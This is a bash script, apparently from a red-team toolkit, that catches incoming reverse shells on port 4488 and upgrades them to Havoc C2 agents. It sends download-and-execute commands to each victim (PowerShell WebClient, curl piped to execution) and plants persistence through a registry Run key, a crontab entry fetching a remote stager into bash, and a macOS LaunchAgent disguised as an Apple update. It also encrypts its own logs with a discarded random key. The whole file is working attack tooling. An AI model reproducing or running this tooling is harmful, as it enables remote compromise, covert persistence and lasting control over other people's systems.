restructuring for easier navigation and modularity
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n0mad1k
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#!/bin/bash
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# Automated shell handler for catching and upgrading shells to Havoc C2 agents
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# Configuration
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LISTEN_PORT=4488
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C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
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HAVOC_PORT=40056 # Havoc default Teamserver port
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HAVOC_USER="admin"
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HAVOC_DIR="/root/Tools/Havoc"
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WINDOWS_PAYLOAD="windows/agent_win.exe"
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LINUX_PAYLOAD="linux/agent_linux"
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# Set secure permissions
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umask 077
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# Logging function (minimal and encrypted)
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log() {
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local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
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local message="$1"
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echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
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}
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# Detect OS function
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detect_os() {
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local connection=$1
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# Send commands to determine OS
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echo "echo \$OSTYPE" > $connection
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sleep 1
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ostype=$(cat $connection | grep -i "linux\|darwin\|win")
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if [[ $ostype == *"win"* ]]; then
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echo "windows"
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elif [[ $ostype == *"darwin"* ]]; then
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echo "macos"
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elif [[ $ostype == *"linux"* ]]; then
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echo "linux"
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else
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# Try Windows-specific command
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echo "ver" > $connection
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sleep 1
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winver=$(cat $connection | grep -i "microsoft windows")
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if [[ -n "$winver" ]]; then
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echo "windows"
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else
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# Default to Linux if we can't determine
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echo "linux"
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fi
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fi
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}
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# Get Havoc password
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get_havoc_password() {
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# Extract password from Havoc profile
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HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
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echo $HAVOC_PASS
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}
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# Deploy appropriate Havoc agent based on OS
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deploy_agent() {
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local connection=$1
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local os_type=$2
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log "Deploying Havoc agent for detected OS: $os_type"
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# Get the latest payload paths from manifest
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local manifest="/root/Tools/Havoc/payloads/manifest.json"
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if [ -f "$manifest" ]; then
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if [ "$os_type" == "windows" ]; then
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WIN_EXE=$(jq -r '.windows_exe' "$manifest")
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PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
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elif [ "$os_type" == "linux" ]; then
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LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
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PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
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fi
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else
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# Use default paths if manifest doesn't exist
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if [ "$os_type" == "windows" ]; then
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PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
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elif [ "$os_type" == "linux" ]; then
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PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
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fi
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fi
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case $os_type in
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windows)
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# Setup Python HTTP server for payload delivery
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mkdir -p /tmp/havoc_payloads
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cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
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cd /tmp/havoc_payloads
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python3 -m http.server 8888 &
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HTTP_PID=$!
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# Use PowerShell to download and execute
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echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
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sleep 10
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# Cleanup HTTP server
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kill $HTTP_PID
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;;
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linux)
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# Setup Python HTTP server for payload delivery
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mkdir -p /tmp/havoc_payloads
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cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
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chmod +x /tmp/havoc_payloads/update
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cd /tmp/havoc_payloads
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python3 -m http.server 8888 &
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HTTP_PID=$!
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# Use curl to download and execute
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echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
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sleep 10
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# Cleanup HTTP server
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kill $HTTP_PID
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;;
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macos)
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# For macOS, we'll attempt to use the Linux payload
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mkdir -p /tmp/havoc_payloads
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cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
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chmod +x /tmp/havoc_payloads/update
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cd /tmp/havoc_payloads
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python3 -m http.server 8888 &
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HTTP_PID=$!
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# Use curl to download and execute
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echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
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sleep 10
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# Cleanup HTTP server
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kill $HTTP_PID
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;;
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esac
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log "Havoc agent deployment command sent"
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}
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# Establish persistence based on OS
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establish_persistence() {
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local connection=$1
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local os_type=$2
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log "Attempting to establish persistence on $os_type"
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case $os_type in
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windows)
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# Windows persistence via registry run key
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echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
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;;
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linux)
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# Linux persistence via crontab
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echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
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;;
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macos)
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# macOS persistence via launch agent
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echo "mkdir -p ~/Library/LaunchAgents" > $connection
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echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
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echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
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;;
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esac
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log "Persistence commands sent for $os_type"
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}
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# Main shell handler loop
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handle_connections() {
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log "Shell handler started on port $LISTEN_PORT"
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# Use mkfifo for bidirectional communication
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PIPE_PATH="/tmp/shell_handler_pipe"
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trap 'rm -f $PIPE_PATH' EXIT
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while true; do
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# Clean up existing pipe
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rm -f $PIPE_PATH
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mkfifo $PIPE_PATH
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log "Waiting for incoming connection..."
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nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
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NC_PID=$!
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# Wait for connection to be established
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while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
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sleep 1
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# Check if nc is still running
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if ! kill -0 $NC_PID 2>/dev/null; then
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log "Netcat process died, restarting..."
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rm -f $PIPE_PATH $PIPE_PATH.output
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continue 2 # Restart the outer loop
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fi
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done
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log "Connection received, detecting OS..."
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DETECTED_OS=$(detect_os "$PIPE_PATH.output")
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log "Detected OS: $DETECTED_OS"
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# Deploy Havoc agent
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deploy_agent "$PIPE_PATH" "$DETECTED_OS"
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sleep 5
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# Establish persistence
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establish_persistence "$PIPE_PATH" "$DETECTED_OS"
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sleep 5
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# Keep connection alive for manual operation if needed
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log "Havoc agent deployed, maintaining shell connection..."
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echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
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# Wait for connection to close
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wait $NC_PID
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log "Connection closed, cleaning up and restarting listener..."
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rm -f $PIPE_PATH.output
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done
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}
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# Start the shell handler
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handle_connections
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